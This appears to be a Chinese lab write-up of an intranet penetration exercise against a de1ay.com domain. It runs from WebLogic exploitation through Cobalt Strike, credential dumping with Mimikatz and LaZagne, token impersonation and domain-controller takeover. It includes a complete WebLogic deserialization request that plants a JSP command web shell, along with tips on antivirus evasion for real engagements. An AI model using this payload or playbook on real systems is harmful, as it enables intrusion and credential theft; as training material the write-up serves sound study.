0x00 网络环境

拓扑如下:

image-20200709212211752

网段信息:

image-20200709212306123

配置网络,防火墙策略墙策略,启动Weblogic

  • 攻击机IP: 192.168.111.1
image-20200710114631538

0x01 寻找入口点

DMZ网段为:192.168.111.1/24,Web服务IP:192.168.111.80

1. 先进行服务的探测:

在实际过程中,信息收集决定你攻击的深度,信息量越大对以后渗透越有帮助! 可以通过下面的工具进行资产的大致排查,实际环境应该要涉及的信息收集会广,通常在对于端口探测时,要结合多种工具进行探测,实现异构防止误报,在对各工具的结果进行筛选后,得到最终结果!

  • Nmap 端口指纹识别
  • Msscan 端口扫描
  • yujianscan 端口指纹目录等等
  • Goby (实验测试就直接通过Goby来实现资产的探测)

基本探测结果如下:

image-20200710115249691

存在问题:

image-20200710115803908
1) 存在Weblogic中间件,并且存在 Weblogic IIOP RCE (CVE-2020-2551)漏洞,可GetShell
2) 存在Eternalblue/DOUBLEPULSAR MS17-010 SMB RCE 永恒之蓝,可GetShell

3) . 先得到WebShell:

  • 先通过CVE-2020-2725,上传一个CMD马,获得WebShell,Payload如下:

    POST /_async/AsyncResponseService HTTP/1.1
    Host: 192.168.111.80:7001
    Content-Length: 1101
    Accept-Encoding: gzip, deflate
    SOAPAction:
    Accept: */*
    User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
    Connection: keep-alive
    content-type: text/xml
    
    <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService"><soapenv:Header><wsa:Action>xx</wsa:Action><wsa:RelatesTo>xx</wsa:RelatesTo><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><java version="1.8.0_131" class="java.beans.xmlDecoder"><object class="java.io.PrintWriter"><string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/shell.jsp</string><void method="println"><string><![CDATA[
    <%
        if("loecho".equals(request.getParameter("pwd"))){
            java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
            int a = -1;
            byte[] b = new byte[1024];
            out.print("<pre>");
            while((a=in.read(b))!=-1){
                out.println(new String(b));
            }
            out.print("</pre>");
        }
        %>]]>
    </string></void><void method="close"/></object></java></work:WorkContext></soapenv:Header><soapenv:Body><asy:onAsyncDelivery/></soapenv:Body></soapenv:Envelope>
    
    
    
    image-20200710120959021

0x02 CobaltStrike,进内网:

image-20200710121813079
  • 查看进程,先维持权限,信息收集,摸清楚网络结构

    • 存在360主动防御
    image-20200710122147687
    • 查看网络环境,存在域环境,de1ay.com,Ping一下获得域控IP,网络环境大致为:10.10.10/24段为内网IP

      image-20200710122559431
    • 对服务器进行详细的信息收集,尝试抓取各类密码:

image-20200710123059107
- 通过<a>seatbelt</a>进行详细的信息收集: **seatbelt.exe -group=all -full**
image-20200713222312537
  • Ladon对内网10.10.10.0/24网段,以及192.168.111.0/24进行存活探测,发现主机
image-20200710145111512
  • 尝试提权,提取SYSTEM权限,通过MS14058,提权成功!,继续进行信息收集,域渗透
image-20200710150752758

0x03 横向渗透

收集域信息,得到结果:

image-20200710151100304
  • 域控我们判断正确,实际情况下DNS服务所在的服务器通常为域控:
image-20200710151202486
  • 进行信息收集,包括域管理员hash 密码 当前服务器密码,通过工具:lazagne 和 Mimikatz 收集
image-20200710151628485
image-20200710151817038
  • 接下来我们查看域内机器,域管理员,域组账户,等等

    image-20200710164902480
    image-20200710152115661
image-20200710152227007
image-20200710152317283
  • 通过筛选PID,我们找到域管理员的PID进程,进行伪造Token,因为已经抓取到明文密码了,也可以生成Token,直接上线,方式很多,我使用假设没有抓到密码的情况

    image-20200710155055574
  • 得到Token后,看一下是否能共享文件:

image-20200710155205477
  • 可以伪造成功,可以共享文件:

    image-20200710155745949
  • 上线域控,我们通过Web服务器进行中转流量,以后的机器流量都通过Web服务进行跳板:

image-20200710165257422
  • 同样方式,通过域管理员的账号密码,上线 mssql
image-20200710165520434

0x04 总结与想法

  1. 域内机器已经全部上线,是信息收集和权限维持非常重要

  2. 在真实环境中,环境相比来说会很大很复杂,可能会需要多层跳板机来进入到关键部分,测试时通过ping curl nc neskloop等,来判断具体出网情况,来打隧道,建立跳板

  3. 同时我们要维持好自己手中的机器,上一台维持一台收集一台

  4. 完全收集完后,在进行下一步,每部权限都要维持好,以免大批量横向时

  5. HW中,当我们在有了大批量机器时,一定要收集好信息,翻找文件,为下一步深入做铺垫,直到拿下核心资产

    在真实环境中,我们在拿到一部分机器时,我通常会先信息收集,在小范围探测,拿下小范围机器后,在进行大范围横向,

  6. 对各类工具,要进行免杀处理,修改下源码或者重新编译一下

0x05 提升与进步:

  1. 在面对更复杂环境时,摸清网络结构,大致构造拓扑,结合信息收集完善拓扑
  2. 横向和纵向时间,逐渐能够实现全自动的内网渗透,短时间完成攻击任务
  3. 完善工具,了解市面常见AV 防病毒 HIDS特性,为绕过安全设备做准备